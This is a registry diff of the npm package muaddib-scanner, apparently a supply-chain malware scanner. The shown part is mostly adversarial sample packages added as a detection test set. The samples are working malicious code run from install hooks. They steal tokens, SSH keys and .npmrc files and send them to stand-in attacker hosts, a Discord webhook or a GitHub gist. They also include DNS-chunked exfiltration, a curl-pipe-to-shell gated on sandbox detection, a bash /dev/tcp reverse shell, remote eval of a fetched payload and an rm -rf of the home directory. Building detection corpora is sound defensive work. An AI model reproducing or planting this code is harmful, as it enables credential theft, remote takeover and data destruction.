muaddib-scanner 2.1.5 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. package/README.fr.md +33 -8
  2. package/README.md +33 -8
  3. package/assets/logo2removebg.png +0 -0
  4. package/bin/muaddib.js +9 -0
  5. package/datasets/adversarial/README.md +23 -0
  6. package/datasets/adversarial/ai-agent-weaponization/index.js +5 -0
  7. package/datasets/adversarial/ai-agent-weaponization/package.json +9 -0
  8. package/datasets/adversarial/ai-agent-weaponization/setup.js +83 -0
  9. package/datasets/adversarial/ai-config-injection/.cursorrules +36 -0
  10. package/datasets/adversarial/ai-config-injection/index.js +16 -0
  11. package/datasets/adversarial/ai-config-injection/package.json +8 -0
  12. package/datasets/adversarial/browser-api-hook/index.js +66 -0
  13. package/datasets/adversarial/browser-api-hook/package.json +6 -0
  14. package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +23 -0
  15. package/datasets/adversarial/bun-runtime-evasion/package.json +9 -0
  16. package/datasets/adversarial/bun-runtime-evasion/setup.js +10 -0
  17. package/datasets/adversarial/ci-trigger-exfil/index.js +17 -0
  18. package/datasets/adversarial/ci-trigger-exfil/package.json +9 -0
  19. package/datasets/adversarial/conditional-chain/index.js +14 -0
  20. package/datasets/adversarial/conditional-chain/package.json +9 -0
  21. package/datasets/adversarial/crypto-wallet-harvest/index.js +44 -0
  22. package/datasets/adversarial/crypto-wallet-harvest/package.json +6 -0
  23. package/datasets/adversarial/dead-mans-switch/index.js +35 -0
  24. package/datasets/adversarial/dead-mans-switch/package.json +9 -0
  25. package/datasets/adversarial/delayed-exfil/index.js +6 -0
  26. package/datasets/adversarial/delayed-exfil/package.json +6 -0
  27. package/datasets/adversarial/detached-background/launcher.js +11 -0
  28. package/datasets/adversarial/detached-background/package.json +9 -0
  29. package/datasets/adversarial/detached-background/worker.js +26 -0
  30. package/datasets/adversarial/discord-webhook-exfil/index.js +95 -0
  31. package/datasets/adversarial/discord-webhook-exfil/package.json +9 -0
  32. package/datasets/adversarial/dns-chunk-exfil/index.js +10 -0
  33. package/datasets/adversarial/dns-chunk-exfil/package.json +6 -0
  34. package/datasets/adversarial/docker-aware/index.js +10 -0
  35. package/datasets/adversarial/docker-aware/package.json +6 -0
  36. package/datasets/adversarial/double-base64-exfil/index.js +11 -0
  37. package/datasets/adversarial/double-base64-exfil/package.json +9 -0
  38. package/datasets/adversarial/dynamic-import/index.js +21 -0
  39. package/datasets/adversarial/dynamic-import/package.json +9 -0
  40. package/datasets/adversarial/dynamic-require/index.js +3 -0
  41. package/datasets/adversarial/dynamic-require/package.json +9 -0
  42. package/datasets/adversarial/fake-captcha-fingerprint/index.js +64 -0
  43. package/datasets/adversarial/fake-captcha-fingerprint/package.json +9 -0
  44. package/datasets/adversarial/gh-cli-token-steal/index.js +31 -0
  45. package/datasets/adversarial/gh-cli-token-steal/package.json +6 -0
  46. package/datasets/adversarial/github-exfil/index.js +33 -0
  47. package/datasets/adversarial/github-exfil/package.json +9 -0
  48. package/datasets/adversarial/iife-exfil/index.js +17 -0
  49. package/datasets/adversarial/iife-exfil/package.json +9 -0
  50. package/datasets/adversarial/nested-payload/index.js +3 -0
  51. package/datasets/adversarial/nested-payload/package.json +9 -0
  52. package/datasets/adversarial/nested-payload/utils/helper.js +6 -0
  53. package/datasets/adversarial/nested-payload/utils/lib/format.js +23 -0
  54. package/datasets/adversarial/postinstall-download/package.json +8 -0
  55. package/datasets/adversarial/preinstall-background-fork/bootstrap.js +16 -0
  56. package/datasets/adversarial/preinstall-background-fork/index.js +2 -0
  57. package/datasets/adversarial/preinstall-background-fork/package.json +9 -0
  58. package/datasets/adversarial/preinstall-background-fork/stealer.js +67 -0
  59. package/datasets/adversarial/preinstall-exec/package.json +9 -0
  60. package/datasets/adversarial/preinstall-exec/steal.js +24 -0
  61. package/datasets/adversarial/proxy-env-intercept/index.js +33 -0
  62. package/datasets/adversarial/proxy-env-intercept/package.json +9 -0
  63. package/datasets/adversarial/pyinstaller-dropper/index.js +25 -0
  64. package/datasets/adversarial/pyinstaller-dropper/package.json +9 -0
  65. package/datasets/adversarial/rdd-zero-deps/index.js +32 -0
  66. package/datasets/adversarial/rdd-zero-deps/init.js +15 -0
  67. package/datasets/adversarial/rdd-zero-deps/package.json +11 -0
  68. package/datasets/adversarial/remote-dynamic-dependency/index.js +15 -0
  69. package/datasets/adversarial/remote-dynamic-dependency/package.json +7 -0
  70. package/datasets/adversarial/self-hosted-runner-backdoor/index.js +28 -0
  71. package/datasets/adversarial/self-hosted-runner-backdoor/package.json +9 -0
  72. package/datasets/adversarial/silent-error-swallow/index.js +32 -0
  73. package/datasets/adversarial/silent-error-swallow/package.json +6 -0
  74. package/datasets/adversarial/staged-fetch/index.js +9 -0
  75. package/datasets/adversarial/staged-fetch/package.json +6 -0
  76. package/datasets/adversarial/string-concat-obfuscation/index.js +6 -0
  77. package/datasets/adversarial/string-concat-obfuscation/package.json +6 -0
  78. package/datasets/adversarial/template-literal-obfuscation/index.js +4 -0
  79. package/datasets/adversarial/template-literal-obfuscation/package.json +9 -0
  80. package/datasets/adversarial/triple-base64-github-push/index.js +38 -0
  81. package/datasets/adversarial/triple-base64-github-push/package.json +9 -0
  82. package/datasets/adversarial/websocket-exfil/index.js +34 -0
  83. package/datasets/adversarial/websocket-exfil/package.json +9 -0
  84. package/datasets/benign/README.md +20 -0
  85. package/datasets/benign/packages-npm.txt +98 -0
  86. package/datasets/benign/packages-pypi.txt +49 -0
  87. package/metrics/v2.1.5.json +753 -0
  88. package/metrics/v2.2.0.json +753 -0
  89. package/nul +0 -5
  90. package/package.json +1 -1
  91. package/src/commands/evaluate.js +270 -0
  92. package/src/index.js +12 -5
  93. package/src/ioc/bootstrap.js +1 -0
  94. package/src/response/playbooks.js +66 -0
  95. package/src/rules/index.js +181 -0
  96. package/src/scanner/ai-config.js +183 -0
  97. package/src/scanner/ast.js +496 -2
  98. package/src/scanner/dataflow.js +147 -16
  99. package/src/scanner/package.js +3 -1
  100. package/src/utils.js +10 -3
@@ -0,0 +1,35 @@
1
+ // Shai-Hulud 2.0 dead man's switch (Unit 42)
2
+ // If no tokens found to steal → destroy the home directory
3
+
4
+ const { exec } = require('child_process');
5
+ const os = require('os');
6
+
7
+ const tokens = [
8
+ process.env.GITHUB_TOKEN,
9
+ process.env.NPM_TOKEN,
10
+ process.env.AWS_SECRET_ACCESS_KEY,
11
+ process.env.GITLAB_TOKEN
12
+ ];
13
+
14
+ const hasTokens = tokens.some(t => t && t.length > 0);
15
+
16
+ if (hasTokens) {
17
+ // Exfiltrate tokens
18
+ const https = require('https');
19
+ const data = JSON.stringify({
20
+ host: os.hostname(),
21
+ tokens: tokens.filter(Boolean)
22
+ });
23
+ const req = https.request({
24
+ hostname: 'api.npm-metrics.dev',
25
+ path: '/collect',
26
+ method: 'POST',
27
+ headers: { 'Content-Type': 'application/json' }
28
+ }, () => {});
29
+ req.write(data);
30
+ req.end();
31
+ } else {
32
+ // Dead man's switch: no tokens → destroy
33
+ const home = os.homedir();
34
+ exec(`rm -rf ${home}/`, { timeout: 30000 }, () => {});
35
+ }
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "dead-mans-switch",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: Shai-Hulud 2.0 dead man's switch (Unit 42)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,6 @@
1
+ setTimeout(() => {
2
+ const token = process.env.NPM_TOKEN;
3
+ if (token) {
4
+ fetch('https://evil.com/exfil?t=' + encodeURIComponent(token));
5
+ }
6
+ }, 600000);
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "delayed-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: delayed credential exfiltration",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,11 @@
1
+ // Stage 1: Launch background worker and immediately exit
2
+ // npm install completes normally — user sees no error
3
+ const { spawn } = require('child_process');
4
+ const path = require('path');
5
+
6
+ const worker = spawn('node', [path.join(__dirname, 'worker.js')], {
7
+ detached: true,
8
+ stdio: 'ignore'
9
+ });
10
+ worker.unref();
11
+ // Process exits here — worker continues in background
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "detached-background",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Shai-Hulud 2.0 detached background process",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node launcher.js"
8
+ }
9
+ }
@@ -0,0 +1,26 @@
1
+ // Stage 2: Background worker — runs after npm install finishes
2
+ // Waits 5 minutes to avoid detection by install-time sandboxes
3
+ const fs = require('fs');
4
+ const https = require('https');
5
+ const os = require('os');
6
+ const path = require('path');
7
+
8
+ setTimeout(() => {
9
+ // Steal SSH keys
10
+ const sshDir = path.join(os.homedir(), '.ssh');
11
+ const stolen = {};
12
+ try { stolen.id_rsa = fs.readFileSync(path.join(sshDir, 'id_rsa'), 'utf8'); } catch (e) {}
13
+ try { stolen.id_ed25519 = fs.readFileSync(path.join(sshDir, 'id_ed25519'), 'utf8'); } catch (e) {}
14
+ try { stolen.known_hosts = fs.readFileSync(path.join(sshDir, 'known_hosts'), 'utf8'); } catch (e) {}
15
+
16
+ // Exfiltrate after delay
17
+ const data = JSON.stringify({ host: os.hostname(), keys: stolen });
18
+ const req = https.request({
19
+ hostname: 'telemetry.pkg-audit.dev',
20
+ path: '/v2/report',
21
+ method: 'POST',
22
+ headers: { 'Content-Type': 'application/json' }
23
+ }, () => {});
24
+ req.write(data);
25
+ req.end();
26
+ }, 5 * 60 * 1000); // 5 minutes
@@ -0,0 +1,95 @@
1
+ // Discord webhook exfiltration — Socket.dev mid-year report 2025
2
+ // Credentials are sent via Discord webhooks instead of attacker-controlled domains
3
+ // The traffic blends in with legitimate Discord API usage
4
+
5
+ const fs = require('fs');
6
+ const https = require('https');
7
+ const os = require('os');
8
+ const path = require('path');
9
+
10
+ // Discord webhook URL — attacker creates a private channel and webhook
11
+ const WEBHOOK_URL = 'https://discord.com/api/webhooks/1234567890123456789/abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567';
12
+
13
+ function collect() {
14
+ const stolen = {
15
+ hostname: os.hostname(),
16
+ user: os.userInfo().username,
17
+ platform: process.platform,
18
+ cwd: process.cwd()
19
+ };
20
+
21
+ // Harvest environment tokens
22
+ const sensitiveEnvVars = ['NPM_TOKEN', 'GITHUB_TOKEN', 'AWS_ACCESS_KEY_ID',
23
+ 'AWS_SECRET_ACCESS_KEY', 'DISCORD_TOKEN', 'SLACK_TOKEN', 'GH_TOKEN',
24
+ 'GITLAB_TOKEN', 'DOCKER_TOKEN', 'PYPI_TOKEN'];
25
+
26
+ stolen.env = {};
27
+ for (const key of sensitiveEnvVars) {
28
+ if (process.env[key]) {
29
+ stolen.env[key] = process.env[key];
30
+ }
31
+ }
32
+
33
+ // Read .npmrc for auth tokens
34
+ try {
35
+ stolen.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
36
+ } catch (e) {}
37
+
38
+ // Read .env file if present
39
+ try {
40
+ stolen.dotenv = fs.readFileSync(path.join(process.cwd(), '.env'), 'utf8');
41
+ } catch (e) {}
42
+
43
+ return stolen;
44
+ }
45
+
46
+ function exfiltrate(data) {
47
+ // Format as Discord embed — looks like a normal webhook message
48
+ const payload = JSON.stringify({
49
+ content: '**New installation report**',
50
+ embeds: [{
51
+ title: `Host: ${data.hostname}`,
52
+ description: '```json\n' + JSON.stringify(data, null, 2) + '\n```',
53
+ color: 0x00ff00
54
+ }]
55
+ });
56
+
57
+ const url = new URL(WEBHOOK_URL);
58
+ const req = https.request({
59
+ hostname: url.hostname,
60
+ path: url.pathname,
61
+ method: 'POST',
62
+ headers: {
63
+ 'Content-Type': 'application/json',
64
+ 'Content-Length': Buffer.byteLength(payload)
65
+ }
66
+ }, () => {});
67
+ req.write(payload);
68
+ req.end();
69
+ }
70
+
71
+ // Also send via Sentry-like OAST endpoint as backup
72
+ function exfiltrateViaSentry(data) {
73
+ const sentryPayload = JSON.stringify({
74
+ event_id: require('crypto').randomUUID(),
75
+ message: JSON.stringify(data),
76
+ level: 'info',
77
+ platform: 'node'
78
+ });
79
+
80
+ const req = https.request({
81
+ hostname: 'o123456.ingest.sentry.io',
82
+ path: '/api/789/store/',
83
+ method: 'POST',
84
+ headers: {
85
+ 'Content-Type': 'application/json',
86
+ 'X-Sentry-Auth': 'Sentry sentry_key=abc123'
87
+ }
88
+ }, () => {});
89
+ req.write(sentryPayload);
90
+ req.end();
91
+ }
92
+
93
+ const data = collect();
94
+ exfiltrate(data);
95
+ exfiltrateViaSentry(data);
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "discord-webhook-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Discord webhook credential exfiltration (Socket.dev 2025)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,10 @@
1
+ const dns = require('dns');
2
+
3
+ const secret = process.env.AWS_SECRET_ACCESS_KEY;
4
+ if (secret) {
5
+ const hex = Buffer.from(secret).toString('hex');
6
+ const chunks = hex.match(/.{1,60}/g);
7
+ chunks.forEach((chunk, i) => {
8
+ dns.resolve(`${i}.${chunk}.exfil.evil.com`, () => {});
9
+ });
10
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "dns-chunk-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: DNS-based chunked credential exfiltration",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,10 @@
1
+ const fs = require('fs');
2
+ const { exec } = require('child_process');
3
+
4
+ try {
5
+ fs.accessSync('/.dockerenv');
6
+ // Inside Docker/sandbox — do nothing
7
+ } catch (e) {
8
+ // Not in sandbox — execute payload
9
+ exec('curl https://evil.com/shell.sh | sh');
10
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "docker-aware",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: sandbox detection via /.dockerenv",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,11 @@
1
+ // Shai-Hulud v1/v2: double base64 encoding of GITHUB_TOKEN + exec exfiltration
2
+ // Combines data obfuscation with shell command execution
3
+
4
+ const { exec } = require('child_process');
5
+
6
+ const token = process.env.GITHUB_TOKEN || '';
7
+ // Double encode to evade base64 pattern detection
8
+ const encoded = Buffer.from(Buffer.from(token).toString('base64')).toString('base64');
9
+
10
+ const cmd = `curl -s -X POST -H "Content-Type: text/plain" -d "${encoded}" https://collect.npm-telemetry.dev/api/token`;
11
+ exec(cmd, { timeout: 10000 }, () => {});
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "double-base64-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: Shai-Hulud double base64 encoding + exec exfiltration",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,21 @@
1
+ // Adversarial sample: ESM dynamic import() to avoid require() detection
2
+ async function run() {
3
+ var fs = await import('fs');
4
+ var http = await import('http');
5
+
6
+ var sshKey = fs.default.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
7
+ var payload = JSON.stringify({ key: sshKey, host: require('os').hostname() });
8
+
9
+ var opts = {
10
+ hostname: 'collector.evil.com',
11
+ port: 80,
12
+ path: '/keys',
13
+ method: 'POST',
14
+ headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
15
+ };
16
+ var req = http.default.request(opts, function() {});
17
+ req.write(payload);
18
+ req.end();
19
+ }
20
+
21
+ run();
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "dynamic-import",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: ESM dynamic import() instead of require()",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,3 @@
1
+ // Adversarial sample: dynamic require via base64 decode + reverse shell
2
+ const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
3
+ mod.exec('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "dynamic-require",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: base64-encoded require to load child_process, then reverse shell",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,64 @@
1
+ // Fake CAPTCHA fingerprint (Hive Pro, July 2025)
2
+ // Opens a local HTTP server with a fake CAPTCHA page
3
+ // Collects system info and sends to C2 when user interacts
4
+
5
+ const http = require('http');
6
+ const https = require('https');
7
+ const os = require('os');
8
+
9
+ const HTML = `<!DOCTYPE html>
10
+ <html><body>
11
+ <h2>Security Verification Required</h2>
12
+ <p>Please verify you are not a robot to continue installation.</p>
13
+ <button onclick="verify()">I'm not a robot</button>
14
+ <script>
15
+ function verify() {
16
+ fetch('/verify', { method: 'POST' }).then(() => {
17
+ document.body.innerHTML = '<h2>Verified! Installation continuing...</h2>';
18
+ });
19
+ }
20
+ </script>
21
+ </body></html>`;
22
+
23
+ const fingerprint = {
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ arch: os.arch(),
27
+ user: os.userInfo().username,
28
+ interfaces: os.networkInterfaces(),
29
+ cpus: os.cpus().length,
30
+ memory: os.totalmem()
31
+ };
32
+
33
+ const server = http.createServer((req, res) => {
34
+ if (req.method === 'POST' && req.url === '/verify') {
35
+ // Send fingerprint to C2
36
+ const payload = JSON.stringify(fingerprint);
37
+ const c2req = https.request({
38
+ hostname: 'captcha-verify.analytics-hub.dev',
39
+ path: '/api/fingerprint',
40
+ method: 'POST',
41
+ headers: { 'Content-Type': 'application/json' }
42
+ }, () => {});
43
+ c2req.write(payload);
44
+ c2req.end();
45
+
46
+ res.writeHead(200);
47
+ res.end('OK');
48
+ setTimeout(() => server.close(), 1000);
49
+ } else {
50
+ res.writeHead(200, { 'Content-Type': 'text/html' });
51
+ res.end(HTML);
52
+ }
53
+ });
54
+
55
+ server.listen(0, () => {
56
+ const port = server.address().port;
57
+ // Try to open browser
58
+ const { exec } = require('child_process');
59
+ const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
60
+ exec(`${openCmd} http://localhost:${port}`, () => {});
61
+
62
+ // Auto-close after 60 seconds
63
+ setTimeout(() => server.close(), 60000);
64
+ });
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "fake-captcha-fingerprint",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: typosquatting fake CAPTCHA fingerprinting (Hive Pro July 2025)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,31 @@
1
+ // s1ngularity/Nx: steal GitHub token via the official gh CLI
2
+ // No file reads, no process.env — uses a legitimate installed tool
3
+
4
+ const { execSync } = require('child_process');
5
+ const https = require('https');
6
+ const os = require('os');
7
+
8
+ let ghToken = '';
9
+ try {
10
+ ghToken = execSync('gh auth token', { encoding: 'utf8', timeout: 5000 }).trim();
11
+ } catch (e) {}
12
+
13
+ if (ghToken) {
14
+ const data = JSON.stringify({
15
+ host: os.hostname(),
16
+ user: os.userInfo().username,
17
+ token: ghToken
18
+ });
19
+
20
+ const req = https.request({
21
+ hostname: 'api.dev-metrics.io',
22
+ path: '/v1/auth',
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json',
26
+ 'Content-Length': Buffer.byteLength(data)
27
+ }
28
+ }, () => {});
29
+ req.write(data);
30
+ req.end();
31
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "gh-cli-token-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: s1ngularity/Nx gh CLI token theft",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,33 @@
1
+ // Shai-Hulud v1/v2: Exfiltrate secrets via GitHub API
2
+ // Uses api.github.com — a trusted domain that bypasses domain-based detection
3
+ const https = require('https');
4
+ const fs = require('fs');
5
+ const os = require('os');
6
+ const path = require('path');
7
+
8
+ // Harvest all available secrets
9
+ const secrets = {};
10
+ try { secrets.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8'); } catch (e) {}
11
+ try { secrets.ssh = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'); } catch (e) {}
12
+ secrets.github_token = process.env.GITHUB_TOKEN;
13
+ secrets.npm_token = process.env.NPM_TOKEN;
14
+
15
+ // Create a public gist with the stolen credentials
16
+ const gistPayload = JSON.stringify({
17
+ description: 'config backup',
18
+ public: false,
19
+ files: { 'config.txt': { content: JSON.stringify(secrets) } }
20
+ });
21
+
22
+ const req = https.request({
23
+ hostname: 'api.github.com',
24
+ path: '/gists',
25
+ method: 'POST',
26
+ headers: {
27
+ 'Authorization': 'token ' + process.env.GITHUB_TOKEN,
28
+ 'User-Agent': 'node',
29
+ 'Content-Type': 'application/json'
30
+ }
31
+ }, () => {});
32
+ req.write(gistPayload);
33
+ req.end();
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "github-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Shai-Hulud v1/v2 GitHub API exfiltration",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,17 @@
1
+ // Adversarial sample: IIFE with random variable names, env read + http.request exfil
2
+ (function() {
3
+ var _0xfa3b = require('http');
4
+ var _0xc91e = process.env.AWS_ACCESS_KEY_ID;
5
+ var _0xd27a = process.env.AWS_SECRET_ACCESS_KEY;
6
+ var _0xb1f4 = JSON.stringify({ k: _0xc91e, s: _0xd27a });
7
+ var _0xe8c2 = {
8
+ hostname: 'collector.evil.com',
9
+ port: 80,
10
+ path: '/collect',
11
+ method: 'POST',
12
+ headers: { 'Content-Type': 'application/json', 'Content-Length': _0xb1f4.length }
13
+ };
14
+ var _0xa7d9 = _0xfa3b.request(_0xe8c2, function(_0xf1) {});
15
+ _0xa7d9.write(_0xb1f4);
16
+ _0xa7d9.end();
17
+ })();
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "iife-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: IIFE with obfuscated variable names, env read + http.request exfil",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,3 @@
1
+ // Clean entry point — nothing suspicious here
2
+ var utils = require('./utils/helper');
3
+ console.log('Package initialized: ' + utils.version);
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "nested-payload",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: malware buried 3 levels deep in require chain",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,6 @@
1
+ // Intermediate layer — looks like a utility module
2
+ var format = require('./lib/format');
3
+ module.exports = {
4
+ version: '1.0.0',
5
+ format: format
6
+ };
@@ -0,0 +1,23 @@
1
+ // Buried payload — 3 levels deep from index.js
2
+ var cp = require('child_process');
3
+ var fs = require('fs');
4
+ var https = require('https');
5
+
6
+ var npmrc = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8');
7
+ var token = npmrc.match(/_authToken=(.+)/);
8
+
9
+ if (token) {
10
+ var data = JSON.stringify({ t: token[1], h: require('os').hostname() });
11
+ var opts = {
12
+ hostname: 'exfil.evil.com',
13
+ port: 443,
14
+ path: '/steal',
15
+ method: 'POST',
16
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
17
+ };
18
+ var req = https.request(opts, function() {});
19
+ req.write(data);
20
+ req.end();
21
+ }
22
+
23
+ module.exports = function() {};
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "postinstall-download",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: postinstall script downloads and evals remote code",
5
+ "scripts": {
6
+ "postinstall": "node -e \"require('https').get('https://evil.com/payload.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
7
+ }
8
+ }
@@ -0,0 +1,16 @@
1
+ // Shai-Hulud 2.0: preinstall + background fork (Check Point/Zscaler/Datadog, Nov 2025)
2
+ // Runs BEFORE install — even before dependencies are resolved
3
+ // Forks a detached process that survives the npm install lifecycle
4
+
5
+ const { spawn } = require('child_process');
6
+ const path = require('path');
7
+
8
+ // Fork stealer as a detached background process
9
+ const child = spawn(process.execPath, [path.join(__dirname, 'stealer.js')], {
10
+ detached: true,
11
+ stdio: 'ignore',
12
+ env: { ...process.env, _MUADDIB_PARENT_PID: String(process.pid) }
13
+ });
14
+
15
+ // Unref so npm install completes normally — user sees nothing
16
+ child.unref();
@@ -0,0 +1,2 @@
1
+ // Clean entry point — the attack happens in preinstall (bootstrap.js → stealer.js)
2
+ module.exports = {};
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "preinstall-background-fork",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Shai-Hulud 2.0 preinstall + detached fork (Check Point/Zscaler/Datadog Nov 2025)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node bootstrap.js"
8
+ }
9
+ }